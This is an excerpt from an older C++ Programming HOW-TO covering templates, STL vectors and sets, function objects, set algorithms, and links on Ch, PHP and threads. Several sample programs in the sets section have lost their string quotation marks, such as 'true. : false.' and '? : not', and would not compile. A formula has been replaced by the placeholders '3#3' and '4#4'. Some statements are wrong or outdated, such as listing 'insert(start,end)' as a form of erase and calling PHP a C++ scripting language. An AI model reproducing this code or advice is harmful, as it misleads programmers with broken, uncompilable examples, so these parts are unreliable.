The scripting language environment called Ch is a superset of C with high-level extensions, and salient features from C++ and other languages so that users can learn the language once and use it anywhere for almost any programming purposes. This C-compatible scripting language environment is also a middleware serving as crucial software infrastructure for running portable applications in heterogeneous platforms. The portable Ch code can be deployed safely over the internet or intranets to run anywhere ranging from supercomputers, workstations, PCs, Palm Pilots, PDA, to non-traditional computing devices such as CNC machines, robots, TVs, refrigerators, among others.

15.3 PHP (C++ Scripting Language)

PHP is hypertext-preprocessor scripting language and is very rapidly evolving and getting object oriented features. It has the "class" keyword through which it tries to implement object oriented scripting. May be in near future PHP will mature rapidly to become a robust scripting language for object oriented projects. In future it will tackle both the web applications and general purpose applications. Why have different scripting languages for web and general applications, instead just use PHP for both. PHP is at http://www.linuxdoc.org/HOWTO/PHP-HOWTO.html.


C++ Programming HOW-TO: Templates

 Next Previous Contents

16. Templates

Templates is a feature in C++ which enables generic programming, with templates code-reuse becomes much easier.

Consider this simple example:

#include <string>
#include <iostream>

void printstring(const std::string& str) {
    std::cout << str << std::endl;
}

int main()
{
    std::string str("Hello World");
    printstring(str);
}

Our printstring() takes a std::string as its first argument, therefor it can only print strings. Therefor, to print a character array, we would either overload the function or create a function with a new name.

This is bad, since the implementation of the function is now duplicated, maintainability becomes harder.

With templates, we can make this code re-useable, consider this function:

template<typename T>
void print(const T& var) {
    std::cout << var << std::endl;
}

The compiler will automatically generate the code for whatever type we pass to the print function. This is the major advantage of templates. Java doesn't have templates, and therefor generic programming and code reuse is harder in Java.

References:

  • http://babbage.cs.qc.edu/STL_Docs/templates.htm Mirror at: http://www.mike95.com/c_plusplus/tutorial/templates

  • This tells about #pragma template : - http://www.dgp.toronto.edu/people/JamesStewart/270/9697f/notes/Nov25-tut.html

  • Very GOOD site: http://www.cplusplus.com/doc/tutorial/tut5-1.html http://www.cplusplus.com/doc/tutorial

  • For certification of C++: goto http://examware.com and click on "Tutorials" and then C/C++ button

  • C++ Open books: http://www.softpanorama.org/Lang/cpp.shtml and click on tutorials

  • Templates tutorial : http://www.infosys.tuwien.ac.at/Research/Component/tutorial/prwmain.htm


C++ Programming HOW-TO: STL References

 Next Previous Contents

17. STL References

Please visit the following sites for STL:

  • Very good intro to iterators http://www.cs.trinity.edu/~joldham/1321/lectures/iterators/
  • Intro to STL SGI http://www.sgi.com/tech/stl/stl_introduction.html
  • Mumits STL Newbie guide (a bit outdated) http://www.xraylith.wisc.edu/~khan/software/stl/STL.newbie.html
  • ObjectSpace examples: ObjectSpace has contributed over 300 examples to the public domain and these are a very good start for beginners. ftp://butler.hpl.hp.com/stl/examples.zip
  • Joseph Y. Laurino's STL page. http://weber.u.washington.edu/~bytewave/bytewave_stl.html
  • Marian Corcoran's STL FAQ. ftp://butler.hpl.hp.com/stl/stl.faq

STL tutorials:

  • Phil Ottewell's STL Tutorial - http://www.yrl.co.uk/~phil/stl/stl.htmlx
  • Good, but outdated doc - http://www.decompile.com/html/tut.html Mirror: http://mip.ups-tlse.fr/~grundman/stl-tutorial/tutorial.html
  • The Code Project, introduction to C++/STL/MFC http://www.codeproject.com/cpp/stlintroduction.asp
  • C++ Standard Template Library, another great tutorial, by Mark Sebern http://www.msoe.edu/eecs/cese/resources/stl/index.htm
  • Technical University Vienna by Johannes Weidl http://dnaugler.cs.semo.edu/tutorials/stl mirror http://www.infosys.tuwien.ac.at/Research/Component/tutorial/prwmain.htm

Main STL sites:

  • C++ STL from SGI http://www.sgi.com/tech/stl
  • C++ STL from RPI univ http://www.cs.rpi.edu/projects/STL/htdocs/stl.html
  • C++ STL site ODP for STL and the mirrorsite
  • STL for C++ Programmers http://userwww.econ.hvu.nl/~ammeraal/stlcpp.html
  • C++ STL from halper http://www.halpernwightsoftware.com/stdlib-scratch/quickref.html

17.1 Overview of the STL

The STL offers the programmer a number of useful data structures and algorithms. It is made up by the following components.

  • Containers. There are two types:
    • Sequential. This group comprises the vector, list and deque types.
    • Sorted Associative. This group comprises the set, map, multiset and multimap types.

  • Iterators. These are pointer like objects that allow the user to step through the contents of a container.

  • Generic Algorithms. The STL provides a wide range of efficently implemented standard algorithms (for example find, sort and merge) that work with the container types. (Some of the containers have special purpose implementations of these algorithms as member functions.)

  • Function Objects. A function object is an instance of a class that provides a definition of operator(). This means that you can use such an object like a function.

  • Adaptors. The STL provides
    • Container adaptors that allow the user to use, say, a vector as the basis of a stack.
    • Function adaptors that allow the user to construct new function objects from existing function objects.

  • Allocators. Every STL container class uses an Allocator class to hold information about the memory model the program is using. I shall totally ignore this aspect of the STL.

I will be considering the use of the vector, list, set and map containers. To make use of these containers you have to be able to use iterators so I shall have something to say about STL iterators. Using the set and map containers can mean having to supply a simple function object to the instantiation so I shall also have something to say about function objects. I will only briefly mention the algorithms supplied by the STL. I will not mention adaptors at all.

I have taken liberties with some of the types of function arguments -- for example most of the integer arguments referred to in what follows actually have type size_type which is typedef'ed to an appropriate basic type depending on the allocation model being used. If you want to see the true signatures of the various functions discussed have a look at the Working Paper or the header files.

There are a number of utility classes supplied with the STL. The only one of importance to us is the pair class. This has the following definition:

template<class T1, class T2>
class pair {
public:
    T1 first;
    T2 second;
    pair(const T1& a, const T2& b) : first(a), second(b) {}

};

and there is a convenient function make_pair with signature:

pair<T1,T2> make_pair(const T1& f, const T2&,s)

as well as implementations of operator== and operator < . There is nothing complicated about this template class and you should be able to use it without further guidance. To use it #include the header file <utility>. It crops up in a number of places but particularly when using the set and map classes.

17.2 Header Files

To use the various bits of the STL you have to #include the appropriate header files. If your compiler is not standard compliant, this may differ, but a standard compliant compiler (like g++), would have these:

  • <vector> for the vector type.
  • <list> for the list type.
  • <set> for the set type.
  • <map> for the map type.
  • <algorithm> for access to the generic algorithms.

Note that headers in the Standard C++ Library is without a .h suffix. If you use an old or poor compiler, the above headers might fail, if then, you can try the version with the .h suffix, or better yet; get another compiler.

17.3 The Container Classes Interface

The container classes have many member functions that have the same names. These functions provide the same (or very similar) interface for each of the classes (though, of course, the implementations will be different). The following table lists the functions that we shall consider in more detail. A star opposite a function name indicates that the container type heading the column provides a member function of that name.

Container Class Interface
Operation | Purpose | vector | list | set | map
== | comparison | * | * | * | *
< | comparison | * | * | * | *
begin | iterator | * | * | * | *
end | iterator | * | * | * | *
size | no. of elements | * | * | * | *
empty | is container empty | * | * | * | *
front | first element | * | * |  |
back | last element | * | * |  |
[ ] | element access/modification | * |  |  | *
insert | insert element(s) | * | * | * | *
push_back | insert new last element | * | * |  |
push_front | insert new first element |  | * |  |
erase | remove element(s) | * | * | * | *
pop_back | remove last element | * | * |  |
pop_front | remove first element |  | * |  |

If the following discussion leaves something unclear (and it will) you can always write a small test program to investigate how some function or feature behaves.

17.4 Vectors

A vector is an array like container that improves on the C++ array types. In particular it is not necessary to know how big you want the vector to be when you declare it, you can add new elements to the end of a vector using the push_back function. (In fact the insert function allows you insert new elements at any position of the vector, but this is a very inefficient operation -- if you need to do this often consider using a list instead).

Constructing Vectors

vector is a class template so that when declaring a vector object you have to state the type of the objects the vector is to contain. For example the following code fragment

vector<int> v1;
vector<string> v2;
vector<FiniteAutomaton> v3;

declares that v1 is a vector that holds integers, v2 a vector that holds strings and v3 holds objects of type FiniteAutomaton (presumably an user defined class type). These declarations do not say anything about how large the vectors are to be (implementations will use a default starting size) and you can grow them to as large as you require.

You can give an initial size to a vector by using a declaration like

vector<char> v4(26);

which says that v4 is to be vector of characters that initially has room for 26 characters. There is also a way to initialise a vector's elements. The declaration

vector<float> v5(100,1.0);

says that v5 is a vector of 100 floating point numbers each of which has been initialised to 1.0.

Checking Up on Your Vector

Once you have created a vector you can find out the current number of elements it contains by using the size function. This function takes no arguments and returns an integer (strictly a value of type size_type, but this gets converted to an integer) which says how many elements there are in the vector. What will be printed out by the following small program?

<vector-size.cpp>=
#include <iostream>
#include <vector>

using namespace std;

int main()
{
    vector<int> v1;
    vector<int> v2(10);
    vector<int> v3(10,7);

    cout << "v1.size() returns " << v1.size() << endl;
    cout << "v2.size() returns " << v2.size() << endl;
    cout << "v3.size() returns " << v3.size() << endl;
}

To check on whether your vector is empty or not you can use the empty function. This takes no arguments and returns a boolean value, true if the vector is empty, false if it is not empty. What will be printed out by the following small program (true prints as 1 and false prints as 0)?

<vector-empty.cpp>=
#include <iostream>
#include <vector>

using namespace std;

int main()
{
    vector<int> v1;
    vector<int> v2(10);
    vector<int> v3(10,7);

    cout << "v1.empty() has value " << v1.empty() << endl;
    cout << "v2.empty() has value " << v2.empty() << endl;
    cout << "v3.empty() has value " << v3.empty() << endl;
}

Accessing Elements of a Vector

You can access a vector's elements using operator[]. Thus, if you wanted to print out all the elements in a vector you could use code like

vector<int> v;
// ...
for (int i=0; i<v.size(); i++)
     cout << v[i];

(which is very similar to what you might write for a builtin array).

You can also use operator[] to set the values of the elements of a vector.

vector<int> v;
// ...
for (int i=0; i<v.size(); i++)
      v[i] = 2*i;

The function front gives access to the first element of the vector.

vector<char> v(10,'a');
// ...
char ch = v.front();

You can also change the first element using front.

vector<char> v(10,'a');
// ...
v.front() = 'b';

The function back works the same as front but for the last element of the vector.

vector<char> v(10,'z');
// ...
char last = v.back();
v.back() = 'a';

Here is a simple example of the use of [].

<vector-access.cpp>=
#include <vector>
#include <iostream>

using namespace std;

int main()
{
    vector<int> v1(5);
    int x;
    cout << "Enter 5 integers (seperated by spaces):" << endl;
    for (int i=0; i<5; i++)
          cin >> v1[i];
    cout << "You entered:" << endl;
    for (int i=0; i<5; i++)
          cout << v1[i] << ' ';
    cout << endl;
}

Inserting and Erasing Vector Elements

Along with operator[] as described above there are a number of other ways to change or access the elements in a vector.

  • push_back will add a new element to the end of a vector.
  • pop_back will remove the last element of a vector.
  • insert will insert one or more new elements, at a designated position, in the vector.
  • erase will remove one or more elements from a vector between designated positions.

Note that insert and erase are expensive operations on vectors. If you use them a lot then you should consider using the list data structure for which they are more efficient.

<vector-mod.cpp>=
#include <iostream>
#include <vector>

using namespace std;

int main()
{
    vector<int> v;

    for (int i=0; i<10; i++) v.push_back(i);
    cout << "Vector initialised to:" << endl;
    for (int i=0; i<10; i++) cout << v[i] << ' ' ;
    cout << endl;

    for (int i=0; i<3; i++) v.pop_back();
    cout << "Vector length now: " << v.size() << endl;
    cout << "It contains:" << endl;
    for (int i=0; i<v.size(); i++) cout << v[i] << ' ';
    cout << endl;

    int a1[5];
    for (int i=0; i<5; i++) a1[i] = 100;

    v.insert(& v[3], & a1[0],& a1[3]);
    cout << "Vector now contains:" << endl;
    for (int i=0; i<v.size(); i++) cout << v[i] << ' ';
    cout << endl;

    v.erase(& v[4],& v[7]);
    cout << "Vector now contains:" << endl;
    for (int i=0; i<v.size(); i++) cout << v[i] << ' ';
    cout << endl;
}

In the above a vector v has been declared then initialised using push_back. Then some elements have been trimmed off it's end using pop_back. Next an ordinary integer array has been created and then some of its elements inserted into v using insert. Finally erase has been used to remove elements from v. The functions used above take arguments as follows.

  • push_back takes a single argument of the type of the elements held in the vector.
  • pop_back takes no arguments. It is a mistake to use pop_back on an empty vector.
  • insert has three forms:
    • insert(pos, T& x) which will insert the single element x at position pos in the vector.
    • insert(pos, start, end) which inserts a sequence of elements from some other container at position pos in the vector. The
    • sequence of elements is identified as starting at the start element and continuing to, but not including, the end element.
    • insert(pos, int rep, T& x) inserts rep copies of x at position pos in the vector.
As indicated in the code above the position pos should be the address of the element to insert at, whilst the start and end arguments are likewise also addresses. (The true story is that they are iterators -- see next subsection and following section).
  • erase has two forms (pos, start and end have the same types as for the insert function):
    • erase(pos) which will remove the element at position pos in the vector.
    • insert(start,end) which will remove elements starting at position start upto, but not including, the element at position end.

Vector Iterators

The simple way to step through the elements of a vector v is as we have done above:

for (int i=0; i<v.size(); i++) { ... v[i] ... }

Another way is to use iterators. An iterator can be thought of as a pointer into the container, incrementing the iterator allows you to step through the container. For container types other than vectors iterators are the only way to step through the container.

For a vector containing elements of type T:

vector<T> v;

an iterator is declared as follows:

vector<T>::iterator i;

Such iterators are constructed and returned by the functions begin() and end(). You can compare two iterators (of the same type) using == and !=, increment using ++ and dereference using *. [In fact vector iterators allow more operations on them - see next section for more information].

Here is an illustration of how to use iterators with vectors.

<vector-iterator.cpp>=
#include <iostream>
#include <vector>

using namespace std;

int main()
{
    vector<int> v(10);
    // first is ``less'' than the second

    int j = 1;

    vector<int>::iterator i;

    // Fill the vector v with integers 1 to 10.
    i = v.begin();
    while (i != v.end())
    {
        *i = j;
        j++;
        i++;
    }

    // Square each element of v.
    for (i=v.begin(); i!=v.end(); i++) *i = (*i) * (*i);

    // Print out the vector v.
    cout << "The vector v contains: ";
    for (i=v.begin(); i!=v.end(); i++) cout << *i << ' ';
    cout << endl;

}

Note how *i can be used on the left-hand side of an assignment statement so as to update the element pointed at by i, and on the right-hand side to access the current value.

Comparing Vectors

You can compare two vectors using == and <. == will return true only if both vectors have the same number of elements and all elements are equal. The < functions performs a lexicographic comparison of the two vectors. This works by comparing the vectors element by element. Suppose we are comparing v1 and v2 (that is v1 < v2?). Set i=0. If v1[i] < v2[i] then return true, if v1[i] > v2[i] then return false, otherwise increment i (that is move on to the next element). If the end of v1 is reached before v2 return true, otherwise return false. Lexicographic order is also known as dictionary order. Some examples:

(1,2,3,4) < (5,6,7,8,9,10) is true.
(1,2,3) < (1,2,3,4) is true
(1,2,3,4) < (1,2,3) is false
(0,1,2,3) < (1,2,3) is true

The following code illustrates the third example above.

<vector-comp.cpp>=
#include <vector>
#include <iostream>

using namespace std;

int main()
{
    vector<int> v1;
    vector<int> v2;
    for (int i=0; i<4; i++) v1.push_back(i+1);
    for (int i=0; i<3; i++) v2.push_back(i+1);

    cout << "v1: ";
    for (int i=0; i<v1.size(); i++) cout << v1[i] << ' ';
    cout << endl;

    cout << "v2: ";
    for (int i=0; i<v2.size(); i++) cout << v2[i] << ' ';
    cout << endl;

    cout << "v1 < v2 is: " << (v1<v2 ? "true" : "false") << endl;
}
The comparison operators <= and >= also work.

17.5 Iterators and the STL

See the section STL References

17.6 Lists

See the section STL References

17.7 Sets

The set container type allows an user to store and retrieve elements directly rather than through an index into the container. The set container acts as a mathematical set in that it holds only distinct elements. However unlike a mathematical set, elements in a set container are held in (an user-supplied) order. In practice this is only a minor restriction on treating a set container as an implementation of the mathematical set abstract data type, and it allows for a much more efficient implementation than an unordered approach.

Constructing Sets

Two template arguments are required to construct a set container -- the type of the objects the set is to contain and a function object that can compare two elements of the given type, that is:

set<T, Compare> s;

(The declaration set < T > s should also be possible -- it would use a default template argument less < T > as the second argument, but many C++ compilers (including g++) cannot as yet cope with default template arguments.)

For simple types T we can use the function object less < T > ( without having to worry about what a ``function object'' is), for example all the following are legal set declarations.

set<int, less<int> > s1;
set<double, less<double> > s2;
set<char, less<char> > s3;
set<string, less<string> > s4;

(Note that the space between the two final >'s in the template is required - otherwise the compiler will interpret >> as the right shift operator.) In each of these cases the function object makes use of the operator < as defined for the the underlying type (that is int, double, char and string).

The following code declares a set of integers, then adds some integers to the set using the insert method and then prints out the set members by iterating through the set. You will note that the set's contents are printed out in ascending order even though they were added in no particular order.

<set-construct1.cpp>=
#include <iostream>
#include <set>

using namespace std;

int main()
{
    set<int, less<int> > s;
    set<int, less<int> >::iterator i;

    s.insert(4);
    s.insert(0);
    s.insert(-9);
    s.insert(7);
    s.insert(-2);
    s.insert(4);
    s.insert(2);

    cout << "The set contains the elements: ";
    for (i=s.begin(); i!=s.end(); i++) cout << *i << ' ';
    cout << endl;
}

Note that 4 is added twice but only turns up once on the list of elements -- which is what one expects of a set.

What are Function Objects?

One of the nifty features of C++ is the ability to overload operators, so that one can have + mean whatever one likes for your newly designed class. One of the operators C++ allows you to overload is the function call operator () and this allows you to create classes whose instances can behave like functions in many ways. These are function objects.

Here is a simple example.

<function-object.cpp>=
#include <iostream>

using namespace std;

template<class T>
class square {
public:
    T operator()(T x) { return x*x; }
};
// This can be used with any T for which * is defined.

int main()
{
    // Create some function objects.
    square<double> f1;
    square<int> f2;

    // Use them.
    cout << "5.1^2 = " << f1(5.1) << endl;
    cout << "100^2 = " << f2(100) << endl;

    // The following would result in a compile time error.
    // cout << "100.1^2 = " << f2(100.1) << endl;
}

Function objects are used in a number of places in the STL. In particular they are used when declaring sets and maps.

The function object required for these purposes, let's suppose it is called comp, must satisfy the following requirements.

  1. If comp(x,y) and comp(y,z) are true for objects x, y and z then comp(x,z) is also true.
  2. comp(x,x) is false for every object x.

If for any particular objects x and y, both comp(x,y) and comp(y,x) are false then x and y are deemed to be equal.

This, in fact, is just the behaviour of the strictly-less-than relation (ie < ) on numbers. The function object less < T > used above is defined in terms of a < operator for the type T. It's definition can be thought of as follows.

template<class T>
struct less {
  bool operator()(T x, T y) { return x<y; }
}

(The actual definition uses references, has appropriate const annotations and inherits from a template class binary_function.)

This means that if the type T has operator < defined for it then you can use less < T > as the comparator when declaring sets of T. You might still want to use a special purpose comparator if the supplied < operator is not appropriate for your purposes. Here is another example. This defines a simple class with a definition of operator < and a function object that performs a different comparison. Note that the overloaded < and () operators should be given const annotations so that the functions work correctly with the STL.

<set-construct2.cpp>=
#include <iostream>
#include <set>

using namespace std;

// This class has two data members. The overloaded operator< compares
// such classes on the basis of the member f1.
class myClass {
private:
    int f1;
    char f2;
public:
    myClass(int a, char b) : f1(a), f2(b) {}
    int field1() const { return f1; }
    char field2() const { return f2; }
    bool operator<(myClass y) const
    { return (f1<y.field1()); }
};

// This function object compares objects of type myClass on the basis
// of the data member f2.
class comp_myClass {
public:
    bool operator()(myClass c1, myClass c2) const
    { return (c1.field2() < c2.field2()); }
};

int main()
{
    set<myClass, less<myClass> > s1;
    set<myClass, less<myClass> >::iterator i;
    set<myClass, comp_myClass> s2;
    set<myClass, comp_myClass>::iterator j;

    s1.insert(myClass(1,'a'));
    s2.insert(myClass(1,'a'));
    s1.insert(myClass(1,'b'));
    s2.insert(myClass(1,'b'));
    s1.insert(myClass(2,'a'));
    s2.insert(myClass(2,'a'));

    cout << "Set s1 contains: ";
    for (i=s1.begin(); i!=s1.end(); i++)
    {
        cout << "(" << (*i).field1() << ","
                << (*i).field2() << ")" << ' ';
    }
    cout << endl;

    cout << "Set s2 contains: ";
    for (j=s2.begin(); j!=s2.end(); j++)
    {
        cout << "(" << (*j).field1() << ","
                << (*j).field2() << ")" << ' ';
    }
    cout << endl;
}

The set s1 contains (1,a) and (2,a) as comparison is on the data member f1, so that (1,a) and (1,b) are deemed the same element. The set s2 contains (1,a) and (1,b) as comparison is on the data member f2, so that (1,a) and (2,a) are deemed the same element.

A Printing Utility

The way we have printed out the sets in the previous examples is a little awkward so the following header file containing a simple overloaded version of operator<< has been written. It works fine for small sets with simple element types.

<printset.h>=
#ifndef _PRINTSET_H
#define _PRINTSET_H

#include <iostream>
#include <set>

template<class T, class Comp>
std::ostream& operator<<(std::ostream& os, const std::set<T,Comp>& s)
{
    std::set<T,Comp>::iterator iter = s.begin();
    int sz = s.size();
    int cnt = 0;

    os << "{";
    while (cnt < sz-1)
    {
        os << *iter << ",";
        iter++;
        cnt++;
    }
    if (sz != 0) os << *iter;
    os << "}";

    return os;
}
#endif

The use here of << as an output routine for a set assumes that << has been defined for the set elements, and uses this to print a comma delimited list of the set elements wrapped in curly braces. It will be used without comment in the following examples.

How Many Elements?

You can determine if a set is empty or not by using the empty() method. You can find out how many elements there are in a set by using the size() method. These methods take no arguments, empty() returns true or false and size() returns an integer.

<set-size.cpp>=
#include <iostream>
#include <set>
#include "printset.h"

using namespace std;

int main()
{
    set<int, less<int> > s;

    cout << "The set s is  "
            << (s.empty() ? "empty." : "non-empty.") << endl;
    cout << "It has " << s.size() << "elements." << endl;

    cout << "Now adding some elements... " << endl;

    s.insert(1);
    s.insert(6);
    s.insert(7);
    s.insert(-7);
    s.insert(5);
    s.insert(2);
    s.insert(1);
    s.insert(6);

    cout << "The set s is now
            << (s.empty() ? "empty." : "non-empty.") << endl;
    cout << "It has " << s.size() << "elements." << endl;
    cout << "s = " << s << endl;
}

Checking the Equality of Sets.

Two sets may be checked for equality by using ==. This equality test works by testing in order the corresponding elements of each set for equality using T::operator==.

<set-equality.cpp>=
#include <iostream>
#include <set>
#include "printset.h"

using namespace std;

int main()
{
    set<int, less<int> > s1, s2 ,s3;

    for (int i=0; i<10; i++)
    {
        s1.insert(i);
        s2.insert(2*i);
        s3.insert(i);
    }

    cout << "s1 = " << s1 << endl;
    cout << "s2 = " << s2 << endl;
    cout << "s3 = " << s3 << endl;
    cout << "s1==s2 is: " << (s1==s2 ? true. : false.) << endl;
    cout << "s1==s3 is: " << (s1==s3 ? true. : false.) << endl;
}

It is also possible to compare two sets using <. The comparison s1 < s2 is true if the set s1 is lexicographically less than the set s2, otherwise it is false.

Adding and Deleting Elements

The way to add elements to a set is to use the insert method (as we have done above). The way to delete elements from a set is to use the erase method.

For a set holding elements of type T these methods come in following forms:

  • pair < iterator, bool> insert(T& x). This is the standard insert function. The return value may be ignored or used to test if the insertion succeeded (that is the element was not already in the set). If the insertion succeeded the boolean component will be true and the iterator will point at the just inserted element. If the element is already present the boolean component will be false and the iterator will point at the element x already present.

  • iterator insert(iterator position, T& x). This version of the insert function takes, in addition to the element to insert, an iterator stating where the insert function should begin to search. The returned iterator points at the newly inserted element, (or the already present element).

  • int erase(T& x). This version of the erase method takes an element to delete and returns 1 if the element was present (and removes it) or 0 if the element was not present.

  • void erase(iterator position). This version takes an iterator pointing at some element in the set and removes that element.

  • void erase(iterator first, iterator last). This version takes two iterators pointing into the set and removes all the elements in the range [ first,last ] .

The following example illustrates these various forms.

<set-add-delete.cpp>=
#include <iostream>
#include <set>
#include "printset.h"

using namespace std;

int main()
{
    set<int, less<int> > s1;

    // Insert elements in the standard fashion.
    s1.insert(1);
    s1.insert(2);
    s1.insert(-2);

    // Insert elements at particular positions.
    s1.insert(s1.end(), 3);
    s1.insert(s1.begin(), -3);
    s1.insert((s1.begin()++)++, 0);

    cout << "s1 = " << s1 << endl;

    // Check to see if an insertion has been successful.
    pair<set<int, less<int> >::iterator,bool> x = s1.insert(4);
    cout << "Insertion of 4 " << (x.second ? worked. : failed.)
            << endl;
    x = s1.insert(0);
    cout << "Insertion of 0 " << (x.second ? worked. : failed.)
            << endl;

    // The iterator returned by insert can be used as the position
    // component of the second form of insert.
    cout << "Inserting 10, 8 and 7." << endl;
    s1.insert(10);
    x=s1.insert(7);
    s1.insert(x.first, 8);

    cout << "s1 = " << s1 << endl;

    // Attempt to remove some elements.
    cout << "Removal of 0 " << (s1.erase(0) ? worked. : failed.)
            << endl;
    cout << "Removal of 5 " << (s1.erase(5) ? worked. : failed.)
            << endl;

    // Locate an element, then remove it. (See below for find.)
    cout << "Searching for 7." << endl;
    set<int,less<int> >::iterator e = s1.find(7);
    cout << "Removing 7." << endl;
    s1.erase(e);

    cout << "s1 = " << s1 << endl;

    // Finally erase everything from the set.
    cout << "Removing all elements from s1." << endl;
    s1.erase(s1.begin(), s1.end());
    cout << "s1 = " << s1 << endl;
    cout << "s1 is now " << (s1.empty() ? empty. : non-empty.)
            << endl;
}

Finding Elements

We mention two member functions that can be used to test if an element is present in a set or not.

  • iterator find(T& x). This searches for the element x in the set. If x is found it returns an iterator pointing at x otherwise it returns end().
  • int count(T& x). This returns 1 if it finds x in the set and 0 otherwise. (The count function for multisets returns the number of copies of the element in the set which may be more than 1. Hence, I guess, the name of the function.)

The use of find has been illustrated above. We could use count to write a simple template based set membership function. (This should also provide a version that takes a reference to the argument x.)

<setmember.h>=
#ifndef _SETMEMBER_H
#define _SETMEMBER_H
#include <set>

template<class T, class Comp>
bool member(T x, std::set<T,Comp>& s)
{
 return (s.count(x)==1 ? true : false);
}
#endif

Which might be used as follows.

<set-membership.cpp>=
#include <iostream>
#include <set>
#include "printset.h"
#include "setmember.h"

using namespace std;

int main()
{
    set<int, less<int> > s;
    for (int i= 0; i<10; i++) s.insert(i);
    cout << "s = " << s << endl;
    cout << "1 is " << (member(1,s) ?  : not) << " a member of s "
            <<  endl;
    cout << "10 is " << (member(10,s) ?  : not) << " a member of s "
            <<  endl;
}

Set Theoretic Operations

The STL supplies as generic algorithms the set operations includes, union, intersection, difference and symmetric diffference. To gain access to these functions you need to include algo.h. (In what follows iter stands for an appropriate iterator).

  • bool includes(iter f1,iter l1,iter f2,iter l2).

    This checks to see if the set represented by the range [f2,l2] is included in the set [f1,l1]. It returns true if it is and false otherwise. So to check to see if one set is included in another you would use

    includes(s1.begin(), s1.end(), s2.begin(), s2.end())

    The includes function checks the truth of 3#3 ( that is of 4#4). This function assumes that the sets are ordered using the comparison operator <. If some other comparison operator has been used this needs to be passed to includes as an extra (function object) argument after the other arguments.

  • iter set_union(iter f1,iter l1,iter f2,iter l2,iter result).

    This forms the union of the sets represented by the ranges [f1,l1] and [f2,l2]. The argument result is an output iterator that points at the start of the set that is going to hold the union. The return value of the function is an output iterator that points at the end of the new set.

The fact that the result argument is an output iterator means that you cannot use set_union in the following, natural, fashion:

      set<int, less<int> > s1, s2, s3;
      // Add some elements to s1 and s2 ...
      // Then form their union. (This does not work!)
      set_union(s1.begin(), s1.end(),
                s2.begin(), s2.end(),
                s3.begin());

The reason is that begin() (also end()) when used with sets (or maps) returns a (constant) input iterator. This type of iterator allows you to access elements of the set for reading but not writing. (And this is a Good Thing since if you could assign to a dereferenced iterator (as in (*i)= ...) then you could destroy the underlying order of the set.)

The solution is to use an insert iterator based on the set type. This, basically, converts an assignment (*i)=value (which is illegal) into a (legal) insertion s.insert(i,value) (where s is the set object that the iterator i is pointing into). It is used as follows:

      // Typedef for convenience.
      typedef set<int, less<int> > intSet;
      intSet s1, s2, s3;
      // Add some elements to s1 and s2 ...
      // Then form their union.
      set_union(s1.begin(), s1.end(),
                s2.begin(), s2.end(),
                insert_iterator<intSet>(s3,s3.begin()) );

Here is an example illustrating all these operations.

<set-theory.cpp>=
#include <iostream>
#include <set>
#include <algorithm>
#include <iterator>
#include "printset.h"

using namespace std;

int main()
{
    typedef set<int, less<int> > intSet;

    intSet s1, s2, s3, s4;

    for (int i=0; i<10; i++)
    { s1.insert(i);
        s2.insert(i+4);
    }
    for (int i=0; i<5; i++) s3.insert(i);

    cout << "s1 = " << s1 << endl;
    cout << "s2 = " << s2 << endl;
    cout << "s3 = " << s3 << endl;

    // Is s1 a subset of s2?
    bool test = includes(s2.begin(),s2.end(),s1.begin(),s1.end());
    cout << "s1 subset of s2 is " << (test ? true. : false.) << endl;

    // Is s3 a subset of s1?
    test = includes(s1.begin(),s1.end(),s3.begin(),s3.end());
    cout << "s3 subset of s1 is " << (test ? true. : false.) << endl;

    // Form the union of s1 and s2.
    set_union(s1.begin(), s1.end(), s2.begin(), s2.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s1 union s2 = " << s4 << endl;

    // Erase s4 and form intersection of s1 and s2. (If we don't erase
    // s4 then we will get the previous contents of s4 as well).
    s4.erase(s4.begin(),s4.end());
    set_intersection(s1.begin(), s1.end(), s2.begin(), s2.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s1 intersection s2 = " << s4 << endl;

    // Now set difference.
    s4.erase(s4.begin(),s4.end());
    set_difference(s1.begin(), s1.end(), s2.begin(), s2.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s1 minus s2 = " << s4 << endl;

    // Set difference is not symmetric.
    s4.erase(s4.begin(),s4.end());
    set_difference(s2.begin(), s2.end(), s1.begin(), s1.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s2 minus s1 = " << s4 << endl;

    // Finally symmetric difference.
    s4.erase(s4.begin(),s4.end());
    set_symmetric_difference(s1.begin(), s1.end(), s2.begin(), s2.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s1 symmetric_difference  s2 = " << s4 << endl;

    // Which is symmetric!
    s4.erase(s4.begin(),s4.end());
    set_symmetric_difference(s2.begin(), s2.end(), s1.begin(), s1.end(),
            insert_iterator<intSet>(s4,s4.begin()) );
    cout << "s2 symmetric_difference  s1 = " << s4 << endl;
}

17.8 Maps

See the section STL References

17.9 STL Algorithms

See the section STL References


C++ Programming HOW-TO: Threads in C++

 Next Previous Contents

18. Threads in C++

  • IBM pthread User Guide, Thread concepts, API reference http://www.as400.ibm.com/developer/threads/uguide/document.htm and mirror site is at IBM main site

  • QpThread Library for C++ provides object oriented framework in C++ for threads and Unix signals on top of system level threads (currently POSIX Threads) http://lin.fsid.cvut.cz/~kra/index.html

  • ThreadJack supports Java-like multi-thread programming model with platform independent C++ class library http://www.esm.co.jp/divisions/open-sys/ThreadJack/index-e.html and here is the download-site

  • APE is the "APE Portable Environment" and class libraries for writing portable threaded servers in C++, under UNIX (pthread) and Win32 API's. APE provides portable class abstraction for threads, sockets, file handling, and synchronization objects. The goal of APE is to make writing threaded servers in C++ both practical and convient, even for small and simple projects, and hence simplicity and low runtime overhead are design goals http://www.voxilla.org/projects/projape.html

  • Portabale Thread Lib http://www.media.osaka-cu.ac.jp/~k-abe/PTL

  • Thread-Recyling in C++ http://www.sigs.de/html/kuhlmann.html

18.1 Threads Tutorial

  • You can download all the tutorials in one file from http://www.milkywaygalaxy.freeservers.com and click on "Source code C++ Programming howto".

  • Threads tutorial is at http://www.math.arizona.edu/swig/pthreads/threads.html

  • HERT tutorial at http://www.hert.org/docs/tutorials, go here to search for "Threads".

  • Intro to threads at linuxjournal

  • North Arizona Univ NAU

  • POSIX threads Acctcom multi-thread

18.2 Designing a Thread Class in C++

This section is written by Ryan Teixeira and the document is located here .

Introduction

Multi threaded programming is becoming ever more popular. This section presents a design for a C++ class that will encapsulate the threading mechanism. Certain aspects of thread programming, like mutexes and semaphores are not discussed here. Also, operating system calls to manipulate threads are shown in a generic form.

Brief Introduction To Threads

